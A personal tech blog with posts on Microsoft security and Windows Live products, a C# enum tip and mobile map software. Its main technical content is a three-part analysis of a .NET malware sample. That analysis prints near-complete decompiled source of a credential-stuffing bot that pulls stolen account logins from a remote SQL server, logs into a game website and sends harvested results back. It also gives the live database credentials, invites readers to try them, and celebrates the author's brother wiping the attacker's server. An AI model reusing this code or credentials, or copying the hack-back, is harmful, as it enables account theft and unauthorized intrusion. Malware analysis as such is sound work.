The best antivirus got better

Everybody knows I admire Microsoft Products but the ones who I’ve worked with know how perfectionist I could be about software I choose; And I’ve chose the Microsoft Security Essentials and I think it is the best. But also someone might say I use Mac and I don’t need antivirus, and I say BULLSHIT, Mac does not have user (only 10% of all computer users) and it doesn’t worth it to write a virus for it. Anyway microsoft has updated a beta version of the MSE and you can download it from https://connect.microsoft.com/securityessentials if you are accepted as beta tester, as they said the new features are:
 
  1. Windows® Firewall integration: Microsoft Security Essentials setup allows you to turn on Windows Firewall.
  2. Enhanced protection from web-based threats: Microsoft Security Essentials has enhanced integration with Internet Explorer® which helps prevent malicious scripts from running and provides improved protection against web based attacks.
  3. New and improved protection engine: The updated engine offers enhanced detection and cleanup capabilities and better performance.

and the background image of the product has also changed. Also regarding to my earlier post http://sadjadbp.spaces.live.com/blog/cns!21F12BB61B822DFA!7323.entry about the problems with two product with the same name under Microsoft Security Essentials in WSUS, now I can say the "MS Security Essentials" is the new version so they should’ve called it "Security Essentials V2".

 

Sadjad Bahmanpour

Spam Comments are Gone

It has been a month since I have a spam comment on my blog, WOOOOOOOOOOOOOW, at last in Wave 4 of Windows Live Spaces the spam comments are gone and I’m happy to say I have deleted over 2000 spam comments and reported them all as spam but there is still 1000 more to delete and if they don’t keep coming I will report them all, make my blog a clean one.
 
But now as that problem is solved, there is a new one, spam friendship invitation, MAAAAAAAAN can you not do the spamming I HATE ALL SPAMMERS in ALL THE WAYS, you see there are spams every where, spams on the phone (Call/ SMS), spams on the door (door to door shoppers), spams in the mailbox, spams in emails (this is a regular one, thanks Hotmail/ Exchange guys it is going to be perfectly gone), spams in blog, do have any where else?
 
Sadjad Bahmanpour

WSUS and Security Essentials problem

As if you didn’t live under rocks Microsoft have release the BEST anti-virus product called "Microsoft Security Essentials" (but I don’t know why microsoft partners like DELL & HP don’t include this FREE product with their line of computers????). Then worst problem I had with this gorgeous product was that, it wasn’t included in WSUS (Windows Server Update Services) so I can download the definition update one time and spread it through network. But it was all gone away when microsoft added MSE to WSUS, WOW now I have a great free client anti-virus with central update solution and I also I’m user of Microsoft Forefront Client Security for years and I use it on my servers.
 
But the new problem came up for days, suddenly they’ve added two MSE product in WSUS and I don’t know why, but know every time I synchronize the WSUS two groups of definition updates show up. The solution is I wait for 2-4 hours so one client check for updates and then I can see which updates are the correct ones.
 
Update:
WOW, just 3 days after I wrote this entry the WSUS team has renamed the second (unused) Security Essentials product to "MS Security Essentials", so now you can uncheck that one and maybe they are going to delete this product category.
 
And this the second bug about WSUS I wrote on my blog and both of them are gone, now I like my blog ;)
 
Sadjad Bahmanpour

Windows Live New Wave

Today lots of windows live services has been updated, but these are what I saw the most:
 
4) Windows Live Sync, this is the replacement for Live Mesh but now without the support for Windows Mobile and also the web space is smaller, I don’t know how they call it an upgrade
 
3) Windows Live Header + Windows Live Web Messenger, some options were removed but the web messenger is what I liked/needed very much.
 
2) Windows Live SkyDrive + Office Web Apps, Now I can say xxxx Google, because the only service google had and microsoft should have had it before google, was office live with edit, because I don’t want to install Office 2007 on my personal computer at home, but I want to view/edit some documents, also some integrations to Windows Live Mail is comming, when someone send you a email with some office files attached to it you can view the attachment in Office Live. But the only disappointment was when I tried to use Live OneNote and tried to open it from desktop, it says you need OneNote 2010 and I don’t have !!!
 
1) Windows Live Spaces updated, there were some updates but what I liked the most was, first deleting comments is now AJAX so no need to refresh the page every time I delete a spam comment (I have lots of them), and second when I try to delete a comment it ask if it was spam, I don’t know about you but for me deleting spams is like flushing someone else’s toilet, I hope Windows Live Team gather these spam information and do something about it.
 
Sadjad Bahmanpour

Did you know?

Did you know that in C# you can cast any number to any enum????
 
Look at the example:
 
public enum EnmYesNo
{
Yes = 1,
No = 2
}
 
int temp = 0;
EnmYesNo yesNo = (EnmYesNo)temp; // No error will shown
MessageBox.Show(yesNo.ToString()); // Will show ’0′
 
temp = 154842;

EnmYesNo yesNo = (EnmYesNo)temp; // No error will shown
MessageBox.Show(yesNo.ToString()); // Will show ’154842′
 
 
WOW!!!! I didn’t know about that, so the solution:
 
public static T ConvertEnum<T>(int t)
{
  if (Enum.IsDefined(typeof(T), t))
    return (T)Enum.Parse(typeof(T), t.ToString());
  else
    throw new Exception("Undefined Enum");
}
 
temp = 154842;

EnmYesNo yesNo = ConvertEnum<EnmYesNo>(temp); // An Exception will show up
MessageBox.Show(yesNo.ToString()); // unreachable code :)
 
Sadjad Bahmanpour
 

.Net Virus tt6ynew.exe Part 3

Looks like my friends (Sina & Sami) are so eager to know what’s inside the virus so here it is:
 
1) Module1: which is something like program.cs:
 
namespace ConsoleApplication1
{
    using Microsoft.VisualBasic.CompilerServices;
    using System;
    using System.Collections.Generic;
    using System.Threading;
    [StandardModule]
    internal sealed class Module1
    {
        public const string Datatable = "tt2_6y_newzhanghao";
        public const string Gamename = "tt6ynew";
        public static int Onetimes;
        public static int Startid;
        public const string table_users = "tt2_6y_newusers";
        public const string table_zh = "tt2_6y_users";
        public static int Threads;
        [STAThread]
        public static void Main()
        {
            string[] userid = new string[0x3e9];
            string[] password = new string[0x3e9];
            int num = 10;
            int num5 = 0;
            int num3 = 0;
            string server = "ok8.com.ru";
            sql sql = new sql(ref server, "dreader", "reader1006", "allusers");
            while (true)
            {
                try
                {
                    int num2;
                    DateTime now;
                    if (num3 < 3)
                    {
                        now = DateTime.Now;
                    }
                    sql.open();
                    sql.GetConfig(ref Startid, ref Threads, ref Onetimes, ref num2);
                    sql.close();
                    int count = Threads * Onetimes;
                    if ((num3 >= num) | (Startid >= num2))
                    {
                        return;
                    }
                    sql.open();
                    sql.GetUsers("tt2_6y_newzhanghao", Startid, count, ref userid, ref password);
                    sql.close();
                    List<Thread> list = new List<Thread>();
                    int num9 = Threads – 1;
                    for (int i = 0; i <= num9; i++)
                    {
                        string[] strArray4 = new string[0x65];
                        string[] strArray3 = new string[0x65];
                        int num10 = Onetimes – 1;
                        for (int j = 0; j <= num10; j++)
                        {
                            strArray4[j] = userid[(Onetimes * i) + j];
                            strArray3[j] = password[(Onetimes * i) + j];
                        }
                        onethread onethread = new onethread(strArray4, strArray3, i.ToString());
                        if (Threads > 1)
                        {
                            Thread item = new Thread(new ThreadStart(onethread.main));
                            try
                            {
                                item.Start();
                                list.Add(item);
                            }
                            catch (Exception exception1)
                            {
                                ProjectData.SetProjectError(exception1);
                                Exception ex = exception1;
                                Functions.prtError(ex);
                                ProjectData.ClearProjectError();
                            }
                        }
                        else
                        {
                            onethread.main();
                        }
                    }
                    if (Threads > 1)
                    {
                        int num11 = Threads – 1;
                        for (int k = 0; k <= num11; k++)
                        {
                            list[k].Join();
                        }
                    }
                    if (num3 < 3)
                    {
                        TimeSpan span = (TimeSpan) (DateTime.Now – now);
                        num5 = (int) Math.Round((double) (num5 + span.TotalSeconds));
                    }
                    if (num3 == 3)
                    {
                        num = (int) Math.Round((double) ((600.0 / (((double) num5) / 3.0)) – 2.0));
                    }
                    num3++;
                }
                catch (Exception exception3)
                {
                    ProjectData.SetProjectError(exception3);
                    Exception exception2 = exception3;
                    ProjectData.ClearProjectError();
                }
            }
        }
    }
}
 
 
which gets the config annd start the main thread as many as the config says.
 
2) MainThread:
 
namespace ConsoleApplication1
{
    using Microsoft.VisualBasic;
    using Microsoft.VisualBasic.CompilerServices;
    using System;
    using System.Threading;
    public class onethread
    {
        private string check1;
        private string check2;
        private string idc;
        private string[] idcard;
        private sql mysql;
        private web myweb;
        private string pass;
        private string[] password;
        private string points;
        private string threadname;
        private string user;
        private string[] userid;
        private onethread()
        {
            this.userid = new string[0x2711];
            this.password = new string[0x2711];
            this.idcard = new string[0x2711];
            string server = "ok8.com.ru";
            this.mysql = new sql(ref server, "idata", "haha8591", "allusers");
            this.myweb = new web();
        }
        public onethread(string[] userid, string[] password, string threadname)
        {
            this.userid = new string[0x2711];
            this.password = new string[0x2711];
            this.idcard = new string[0x2711];
            string server = "ok8.com.ru";
            this.mysql = new sql(ref server, "idata", "haha8591", "allusers");
            this.myweb = new web();
            this.userid = userid;
            this.password = password;
            this.threadname = threadname;
        }
        public onethread(string[] userid, string[] password, string[] idcard, string threadname)
        {
            this.userid = new string[0x2711];
            this.password = new string[0x2711];
            this.idcard = new string[0x2711];
            string server = "ok8.com.ru";
            this.mysql = new sql(ref server, "idata", "haha8591", "allusers");
            this.myweb = new web();
            this.userid = userid;
            this.password = password;
            this.idcard = idcard;
            this.threadname = threadname;
        }
        public void main()
        {
            string[] othersTab = new string[3];
            string[] others = new string[3];
            othersTab[0] = "renwu";
            othersTab[1] = "jiangpin";
            othersTab[2] = "qu";
            Console.WriteLine("thead" + this.threadname + " was ready!");
            int index = 0;
            while (index < Module1.Onetimes)
            {
                this.user = this.userid[index];
                this.pass = this.password[index];
                index++;
                if (this.user == "")
                {
                    continue;
                }
                this.myweb.Url = "https://secure.plaync.com.tw/login.aspx?returnPage=https%3A%2F%2Fevent%2Eplaync%2Ecom%2Etw%2Fl2event%2FEvent%2F091223%2Fselect%5Fchar%5F6YearsGift%2Easp";
                this.myweb.getHtml("", "utf-8");
                this.check1 = this.myweb.cutContent("__VIEWSTATE" value="", "" />").Replace("=", "%3D").Replace("+", "%2B").Replace("/", "%2F");
                Thread.Sleep((int) (new Random().Next(1, 3) * 0x3e8));
                this.myweb.Url = "https://secure.plaync.com.tw/login.aspx?returnPage=https%3a%2f%2fevent.plaync.com.tw%2fl2event%2fEvent%2f091223%2fselect_char_6YearsGift.asp";
                this.myweb.postData("__VIEWSTATE=" + this.check1 + "&inAccount=" + this.user + "&inPassword=" + this.pass + "&inReturnPage=https%3A%2F%2Fevent.plaync.com.tw%2Fl2event%2FEvent%2F091223%2Fselect_char_6YearsGift.asp&btnLogIn.x=45&btnLogIn.y=20", "", "big5");
                if (Strings.InStr(this.myweb.htmltext, "location.replace(‘", CompareMethod.Binary) != 0)
                {
                    string[] strArray3;
                    Thread.Sleep((int) (new Random().Next(1, 3) * 0x3e8));
                    this.myweb.Url = "https://event.plaync.com.tw/l2event/Event/091223/select_char_6YearsGift.asp";
                    this.myweb.getHtml("", "big5");
                    Random random = new Random();
                    if (random.Next(0, 2) == 1)
                    {
                        strArray3 = Strings.Split(Strings.Split(this.myweb.htmltext, "<option value=", -1, CompareMethod.Binary)[1], ">", -1, CompareMethod.Binary);
                    }
                    else
                    {
                        strArray3 = Strings.Split(Strings.Split(this.myweb.htmltext, "</select>", -1, CompareMethod.Binary)[0], "<option value=", -1, CompareMethod.Binary);
                        strArray3 = Strings.Split(strArray3[strArray3.Length - 1], ">", -1, CompareMethod.Binary);
                    }
                    string str3 = strArray3[0];
                    string str5 = Strings.Split(Strings.Split(this.myweb.htmltext, "strOption" + str3 + " += "<option value=’", -1, CompareMethod.Binary)[1], "’", -1, CompareMethod.Binary)[0];
                    Thread.Sleep((int) (new Random().Next(1, 3) * 0x3e8));
                    this.myweb.Url = "https://event.plaync.com.tw/l2event/Event/091223/game_6YearsGift.asp";
                    this.myweb.postData("chkOk=0&svr=" + str3 + "&char_id=" + str5, "", "big5");
                    while (true)
                    {
                        Thread.Sleep((int) (new Random().Next(1, 3) * 0x3e8));
                        this.myweb.Url = "https://event.plaync.com.tw/l2event/Event/091223/process6YearsGift.asp";
                        this.myweb.postData("chkOk=0&svr=" + str3 + "&char_id=" + str5, "https://event.plaync.com.tw/l2event/Event/091223/game_6YearsGift.asp", "big5");
                        string str4 = this.myweb.cutContent("idx" value="", """);
                        Thread.Sleep((int) (new Random().Next(1, 3) * 0x3e8));
                        this.myweb.Url = "https://event.plaync.com.tw/l2event/Event/091223/show_msg_6YearsGift.asp";
                        this.myweb.postData("chkOk=0&cd=1&idx=" + str4, "https://event.plaync.com.tw/l2event/Event/091223/process6YearsGift.asp", "big5");
                        if (Strings.InStr(this.myweb.htmltext, "恭喜您獲得:", CompareMethod.Binary) == 0)
                        {
                            Console.Write("抽完");
                            goto Label_0472;
                        }
                        string str2 = this.myweb.cutContent("恭喜您獲得:<span class="w2">「", "」");
                        str2 = this.myweb.cutContent("恭喜您獲得:<span class="w2">「", "」");
                        string str = this.myweb.cutContent("道具將置入:<span class="w2">「", "@");
                        this.points = Conversions.ToString(0);
                        others[0] = str;
                        others[1] = str2;
                        others[2] = str3;
                        this.mysql.open();
                        this.mysql.InsertData("tt2_6y_newusers", this.user, this.pass, this.points, othersTab, others);
                        this.mysql.close();
                    }
                }
                Console.WriteLine(this.user + "XXXXXXX");
            Label_0472:
                Console.WriteLine(this.threadname + ": " + Conversions.ToString(index));
            }
            Console.WriteLine("thead" + this.threadname + " was ok!");
        }
    }
}
 
Which is called and do the web callings.
 
3) SQL.cs : which is a sql connection helper:
 
namespace ConsoleApplication1
{
    using Microsoft.VisualBasic.CompilerServices;
    using System;
    using System.Data;
    using System.Data.SqlClient;
    public class sql
    {
        private SqlCommand cmd;
        private SqlConnection conn;
        private sql()
        {
        }
        public sql(ref string server, string userid, string password, string database)
        {
            this.conn = new SqlConnection("Data Source=" + server + ";user id=" + userid + ";password=" + password + ";Initial Catalog=" + database + ";");
        }
        public void close()
        {
            try
            {
                if ((this.conn.State == ConnectionState.Open) | (this.conn.State == ConnectionState.Broken))
                {
                    this.conn.Close();
                }
            }
            catch (Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                Exception exception = exception1;
                ProjectData.ClearProjectError();
            }
        }
        public void GetConfig(ref int startid, ref int threads, ref int onetimes, ref int totleusers)
        {
            this.cmd = new SqlCommand();
            try
            {
                this.cmd.Connection = this.conn;
                this.cmd.CommandType = CommandType.StoredProcedure;
                this.cmd.CommandText = "get_config";
                this.cmd.Parameters.Add(new SqlParameter("@gname", SqlDbType.NVarChar, 50));
                this.cmd.Parameters["@gname"].Value = "tt6ynew";
                SqlDataReader reader = this.cmd.ExecuteReader();
                reader.Read();
                startid = Conversions.ToInteger(reader.GetValue(reader.GetOrdinal("startid")));
                threads = Conversions.ToInteger(reader.GetValue(reader.GetOrdinal("threads")));
                onetimes = Conversions.ToInteger(reader.GetValue(reader.GetOrdinal("onetimes")));
                totleusers = Conversions.ToInteger(reader.GetValue(reader.GetOrdinal("totleusers")));
                reader.Close();
            }
            catch (Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                Exception ex = exception1;
                Functions.prtError(ex);
                ProjectData.ClearProjectError();
            }
        }
        public void GetGameid(int startid, int count, ref string[] gameid, ref string[] gamepass)
        {
            try
            {
                this.cmd.CommandTimeout = 100;
                int num2 = startid + count;
                this.cmd = new SqlCommand("select userid,password from now_gash where id>" + Conversions.ToString(startid) + " and id<=" + num2.ToString(), this.conn);
                SqlDataReader reader = this.cmd.ExecuteReader();
                for (long i = 0L; reader.Read(); i += 1L)
                {
                    gameid[(int) i] = Conversions.ToString(reader.GetValue(reader.GetOrdinal("userid")));
                    gamepass[(int) i] = Conversions.ToString(reader.GetValue(reader.GetOrdinal("password")));
                }
                reader.Close();
            }
            catch (Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                Exception ex = exception1;
                Functions.prtError(ex);
                ProjectData.ClearProjectError();
            }
        }
        public void GetUsers(string table, int startid, int count, ref string[] userid, ref string[] password)
        {
            try
            {
                string[] strArray = new string[] { "select userid,password from ", table, " where id>", Conversions.ToString(startid), " and id<=", (startid + count).ToString() };
                this.cmd = new SqlCommand(string.Concat(strArray), this.conn);
                SqlDataReader reader = this.cmd.ExecuteReader();
                for (long i = 0L; reader.Read(); i += 1L)
                {
                    userid[(int) i] = Conversions.ToString(reader.GetValue(reader.GetOrdinal("userid")));
                    password[(int) i] = Conversions.ToString(reader.GetValue(reader.GetOrdinal("password")));
                }
                reader.Close();
            }
            catch (Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                Exception ex = exception1;
                Functions.prtError(ex);
                ProjectData.ClearProjectError();
            }
        }
        public void GetUsers(string table, int startid, int count, ref string[] userid, ref string[] password, ref string[] idcard)
        {
            try
            {
                this.cmd.CommandTimeout = 100;
                string[] strArray = new string[] { "select userid,password,idcard from ", table, " where id>", Conversions.ToString(startid), " and id<=", (startid + count).ToString() };
                this.cmd = new SqlCommand(string.Concat(strArray), this.conn);
                SqlDataReader reader = this.cmd.ExecuteReader();
                for (long i = 0L; reader.Read(); i += 1L)
                {
                    userid[(int) i] = Conversions.ToString(reader.GetValue(reader.GetOrdinal("userid")));
                    password[(int) i] = Conversions.ToString(reader.GetValue(reader.GetOrdinal("password")));
                    idcard[(int) i] = Conversions.ToString(reader.GetValue(reader.GetOrdinal("idcard")));
                }
                reader.Close();
            }
            catch (Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                Exception ex = exception1;
                Functions.prtError(ex);
                ProjectData.ClearProjectError();
            }
        }
        public void InsertData(string table, string userid, string password)
        {
            try
            {
                this.cmd = new SqlCommand("INSERT INTO " + table + "(userid, password,times) VALUES(‘" + userid + "’,'" + password + "’,getdate())", this.conn);
                this.cmd.ExecuteNonQuery();
            }
            catch (Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                Exception ex = exception1;
                Functions.prtError(userid, password, ex);
                ProjectData.ClearProjectError();
            }
        }
              public void InsertError(string errorcode)
        {
            try
            {
                errorcode = errorcode.Replace(",", "").Replace("’", "");
                if (this.conn.State == ConnectionState.Closed)
                {
                    this.conn.Open();
                    this.cmd = new SqlCommand("INSERT INTO error(times,errorcode,gamename) VALUES(getdate(),’" + errorcode + "’,'tt6ynew’)", this.conn);
                    this.cmd.ExecuteNonQuery();
                    this.conn.Close();
                }
                else
                {
                    this.cmd = new SqlCommand("INSERT INTO error(times,errorcode,gamename) VALUES(getdate(),’" + errorcode + "’,'tt6ynew’)", this.conn);
                    this.cmd.ExecuteNonQuery();
                }
            }
            catch (Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                Exception exception = exception1;
                ProjectData.ClearProjectError();
            }
        }
                public void open()
        {
            if (this.conn.State == ConnectionState.Closed)
            {
                try
                {
                    this.conn.Open();
                }
                catch (Exception exception1)
                {
                    ProjectData.SetProjectError(exception1);
                    Exception exception = exception1;
                    ProjectData.ClearProjectError();
                }
            }
        }
    }
}
 
and there wre some other web helper and also an encryption helper too which I don’t think are very helpful. But GOD this man is crazy, he doesn’t change the Database password…
 
By they way I’ve found a very good and helpful Free Utility to connect to DBs called SqlDbx http://www.sqldbx.com/ it is portable and lite (1.00 MB) and it can connect to MS Sql Server & Oracle & DB2 and some other dbs which I don’t work with, but it also have the magical Syntax Highlighting and also some good script auto complete.
 
Hope you’ll find it helpful,
Sadjad Bahmanpour

.Net Virus tt6ynew.exe Part 2

During past night my brother ‘Komeil’ has just deleted all the contents from that mother f…er’s SQL Server and the other day when we checked out he has just changed his SQL server password and as I’ve mentioned in my earlier post the user name and password for the Database is hard coded so the virus cannot do its job any more.
 
as my brother said there were 250,000,000+ record in just one of his tables, WOW… look like he’s been doing just fine.
 
Hey we’ve cleaned one virus from face of internet and I’m proud myself for that :D
Sadjad Bahmanpour

.Net Virus tt6ynew.exe

Tonight I found a .Net Virus, and I think it is first of its kind. I have thought of it for years to writer a torjan with .net, because no antivirus will think of it as virus and you could do some tricks like Reflection or On the fly class/ code generation and make it so hard to catch, but I’m not no Virus program.
 
But as you might know me, I’m good at .Net Reflection (Thanks to El Mistro ‘Lutz Roeder’ for his great tool Reflector http://www.red-gate.com/products/reflector/) so I tried to reflect the Virus and WOW it worked, so here is some step by step things it do:
 
1) It first tries to connect some Sql Server with these settings: "Data Source=ok8.com.ru;user id=dreader;password=reader1006;Initial Catalog=allusers;"
So be my guest to try that your self
 
2) After connection it gets its config & some users from a table called "tt2_6y_newzhanghao"
 
3) And then starts some Threads (The number is in the config from 2)
 
4) From each Thread it logins to some web site call: https://secure.plaync.com.tw/
 
5) If the 4 succeed it connect to a web page under: https://event.plaync.com.tw/
 
6) After getting some response it inserts some data to the same Sql Server into some table named: "tt2_6y_newusers"
this time with userid=idata and password=haha8591 and Database=allusers
 
And to be honest I don’t know what is that website and don’t know why this JERK who wrote a .Net virus tries to do that whit my connection.
 
Anyway if you knwo somethink about it let me know,
Sadjad Bahmanpour
 
 

The new Map software I’ve found

These past couple of days I’ve tried to find some new map software which I could use for my city Tehran, and I came to some conclusions:
 
1) Google map has a good, uptodate, free map of streets of tehran
2) I happend to work for 10 month on a map software for "وزارت صنایع و معادن ایران" on a project called "National Geograpich Database of Iran" and then Afghanestan and then other countries, and in that project I happend to write a map software with silverlight via DeepEarth, and I’ve saw on that project that I could download map Tiles (PNG files usually 256×256) from google maps, yahoo maps, Microsoft live maps and ….
3) The only thing I need was a software which could use of offline maps, because I’m tired of searching the web for Garmin Iran/ Tehran Map files (I have some of them here in my blog), and also garmin has just banned Iran IP address (Also I’ve seen that SourceForge has banned Iran IP address too, so to all the developers: "Please use the Almighty CodePlex" :D )
 
so to everyone who is searching for "نقشه بروز تهران ایران روی گوشی موبایل"
 
I’ve found MGMaps http://www.mgmaps.com/ a good Java based software which you can use on your Windows Mobile/Nokia Symbian S60 v3 & v5 (N95 & 5800).
All you need to do is download the MGMaps for you phone (I’m using the 1.42.01 this is beta but works better on my touch screen Xperia X1) and also download gMapMaker http://www.mgmaps.com/cache/ to download the google maps to your computer and the move them all to your and set the MGMaps to use the offline mode/ Stored Map, and that’s it you have a free uptodate map of your city.
 
But as all the other JAVA softwares there are some consequences:
 
1) You have to set the security on your phone to allow Connection & Read & Write access, or your phone will ask you every time you move.
2) If you are using Windows Mobile, so you need a JVM. They suggest you to use IBM J9, but I’ve tried Esmertec Jbed and the only problem was that the software does not recognise the builtin GPS device and so there is a work around which you have to use GpsPortPPC or use this instruction http://www.mgmaps.com/winset/ but last night I’ve tried a new ROM from http://forum.xda-developers.com/showthread.php?t=622975 OR http://826x.blogspot.com/ which is based on Windows Mobile 6.5.3 build 28205 and GOD it is so lite and fast and it use a new "Myriad Jbed" from www.myriadgroup.com which appeared that they’ve bought the Esmertec, and now it support the internal GPS device of my Xperia X1, so problem solved.
 
and also I’ve tried it on my brother’s Nokia N95 8GB and it worked like a charm and I’m going to try it on my Fiancé’s Nokia 5800 and will let you know.
 
I also download then 1-17 zoom of Tehran, and if someone liked it I might upload it here.
 
And also in N95 as you know the Media Software will check all the storages for some image files to cache, and the MGMaps store all the tiles in some .mgm files which are PNG and nokia media software found then and they were thumbnailed and some "_PAlbTN" folders were generated in all the directories. So the solution would be to make the stored map folder "MGMapsCache" as hidden and also you might first set the MGMaps to look in to that folder and then make in hidden ’cause the application might not see them when they are hidden.
 
And also there is this setting in Setting > GPS > Mobile Tracking > Move Map, which is set the map moves while you move, otherwise the blue pin point which is were the gps is (I mean you) won’t move the map unless you goes to the menu and click "Where I Am". So this is like you click that button every 3 secs.
 
When you are using gMapMaker select the Operating Mode as "MGMap mode, download tiles using entered area", and then click Map to select your area, then select Map Type "Google Maps" (for the street view) and the Zoom level, And then click GO, and it will download them to the location shown on upper aera which is by default "C:Program FilesgMapMakerMGMapsCache" and you just have to copy "MGMapsCache" to your phone and then select the stored map location in settings > Map > Map location > Browse (also you have to select stored map settings and I’ve also selected the offline mode).
 
 
Also I’ve found TrekBuddy http://www.trekbuddy.net, this is a good application which also can read the stored map from a .tar file (which include all the map tiles) so you won’t care for all +50000 tile files which you have to copy to your phone, but it has some problem so I went back to the MGMaps:

1) .tar mode is very laggy on N95 and so I didn’t tried it on my Xperia
2) You can’t just zoom in or out, you have to make an Atlas and then choose what zoom you want to see (I’m not dump ass, but is it that hard to make a Zoom feature? ).
 

Here was for tonight, if you need anymore instructions just post me comment and I’ll write more about it.
Sadjad Bahmanpour

Wireless Entertainment Desktop 8000 Keyboard Problem

As you might know, I have a friend who work in Microsoft (WOW, Sina I’m proud of you), and then he brought me "Microsoft Wireless Entertainment Desktop 8000" last time we met, and now some starnge thing happend tonight.
 
I was watching a movie with Windows Media Player in full screen mode and suddenly my phone try to reach the cell (you know the "Tegh Tegh" noise over the speakers) and Media Player came out of full screen mode and went into "Library" mode but the movie was playing (seek bar and the audio was playing) and I tried the "Switch to now Playing" button (the button on right bottom corner) but it switched backed to library every time I tried that, so I closed the media player and reopen it several times but it happend agian.
 
So after lots of try & error solutions I’ve found out that if you use the menu > View > Now Playing (Ctrl + 3) it will do the trick.
 
But I still wonders why should a GSM Phone (My SE Xperia X1) could be interfere a Wireless/Bluetooth Keyboad????? Is it because of my Windows Phone doesn’t like my Windows 7 :D ???
 
P.S This wasn’t a one time problem, I tried my phone and saw this could happen any time someone try to reach me.